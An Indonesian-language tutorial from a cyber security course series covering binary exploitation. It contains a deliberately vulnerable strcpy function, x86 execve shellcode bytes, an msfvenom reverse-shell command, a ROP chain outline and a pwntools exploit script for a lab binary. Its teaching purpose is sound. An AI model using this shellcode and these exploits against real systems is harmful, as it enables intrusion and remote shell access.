Belajar Cyber Security - Exploit Development & Binary Exploitation

#Pendahuluan

Setelah episode 16-20 kita menyerang jaringan dan sistem operasi, sekarang masuk ke medan yang paling "mendasar" dan paling menantang: binary exploitation. Ini bukan menyerang aplikasi, melainkan menyerang cara program C dikompilasi dan dieksekusi di memori.

Mengapa ini penting? Karena banyak kerentanan yang dibahas sepanjang series — buffer overflow, RCE, privilege escalation — pada akhirnya menembak lapisan ini. Di dunia nyata, exploitation framework (Metasploit) mengotomasi sebagian besar proses, tapi penulis exploit harus paham apa yang terjadi di baliknya. Episode ini memberi fondasi itu: memory layout, buffer overflow, shellcode, ROP, dan mitigasi modern.

#Memory Layout Program

Program C yang berjalan menempati beberapa segmen memori:

+------------------+  alamat tinggi
|       Stack      |  variabel lokal, return address
|        ...       |
+------------------+
|       Heap       |  malloc/free
+------------------+
|      BSS/Data    |  variabel global
+------------------+
|       .text      |  kode program (read-only)
+------------------+

Dua segmen yang paling sering dieksploitasi:

• Stack: menyimpan variabel lokal dan return address — urutan LIFO. Melimpahkan data ke stack adalah esensi buffer overflow.
• Heap: area malloc — objek dinamis; eksploitasi heap lebih rumit dan out of scope episode ini.

#Buffer Overflow dan Kontrol EIP/RIP

#Bagaimana Overflow Terjadi

Fungsi strcpy yang tidak membatasi panjang — sementara buffer-nya kecil:

void vuln(char *input) {
    char buf[64];
    strcpy(buf, input);  // tidak cek panjang!
}

Jika input lebih panjang dari 64 byte, data menimpa memori sesudah buffer — termasuk saved return address yang dipakai saat fungsi kembali. Alur eksploitasi:

• EIP (x86 32-bit) / RIP (x64) adalah instruction pointer — menentukan kode berikutnya yang dieksekusi. Menguasai EIP/RIP = menguasai alur program.

#Menemukan Offset

Proses klasik memakai pattern untuk menentukan offset persis sebelum EIP:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
gdb -q ./vuln
# (gdb) run < pattern
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <nilai_EIP>

#PoC Sederhana

Exploit buffer overflow dasar (32-bit)

payload = b"A" * offset + p32(0xdeadbeef)  # EIP = 0xdeadbeef

#Shellcode

Shellcode adalah bytecode mesin yang kita tanam untuk dijalankan — biasanya mem-buka shell. Shellcode klasik x86 untuk execve("/bin/sh"):

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Menulis shellcode dari nol butuh pemahaman assembly; cara praktis memulai adalah memakai shellcode yang sudah teruji dari Exploit-DB, lalu memodifikasinya. Di lab modern, shellcode dikemas dengan msfvenom:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f python

#ROP: Bypass DEP dan ASLR

#Mitigasi Modern

Dua proteksi yang mengubah cara exploit ditulis:

• DEP/NX: halaman stack tidak bisa dieksekusi — menaruh shellcode di stack tidak lagi jalan.
• ASLR: alamat library diacak tiap proses — alamat hardcoded tidak bisa dipakai.

#Return-Oriented Programming

ROP menjawab keduanya: alih-alih mengeksekusi shellcode, kita merangkai gadget — potongan instruksi yang sudah ada di binary/library, diakhiri ret. Setiap gadget melakukan operasi kecil; rangkaian gadget (ROP chain) akhirnya memanggil fungsi seperti system("/bin/sh"):

offset padding + address(gadget1) + address(gadget2) + ... + system_addr + "/bin/sh"

Menemukan gadget memakai tool otomatis:

ROPgadget --binary ./vuln --only "pop|ret" | head

#pwntools dan gdb

#gdb: Bedah Binary

gdb adalah debugger utama Linux. Perintah dasar yang wajib dikuasai:

run < input
info registers
x/20wx $esp
break *0x401234
disassemble main

#pwntools: Framework Exploit

pwntools (Python) mempercepat seluruh siklus: menulis payload, menghitung offset (cyclic), berinteraksi dengan target (sendline/recv), dan memuat ELF:

Exploit memakai pwntools

from pwn import *
 
elf = context.binary = ELF('./vuln')
p = process('./vuln')
offset = cyclic_find(0x6161616c)
payload = b'A' * offset + p32(elf.symbols['win'])
p.sendline(payload)
p.interactive()

Untuk mencoba exploit ke remote, ganti process dengan remote('host', port) — satu baris saja.

#Mitigasi Ringkas

#Penutup

Pada episode 21 ini, kalian telah menguasai fondasi exploit development.

Inti yang harus dibawa pulang:

• Pahami layout memori (stack vs heap) sebelum menulis exploit.
• Buffer overflow menimpa return address; menguasai EIP/RIP berarti menguasai alur program.
• Shellcode ditanam di memori; NOP sled memberi toleransi alamat.
• DEP + ASLR menuntut ROP — merangkai gadget yang sudah ada.
• pwntools + gdb adalah pasangan utama menulis dan men-debug exploit.

Di episode 22 selanjutnya kita membahas reverse engineering & malware analysis — assembly x86/ARM, format ELF/PE, Ghidra dan IDA, debugging gdb/x64dbg, lalu analisis statis & dinamis, sandbox, deobfuscation, dan ekstraksi IOC dengan YARA. Sampai jumpa di episode 22!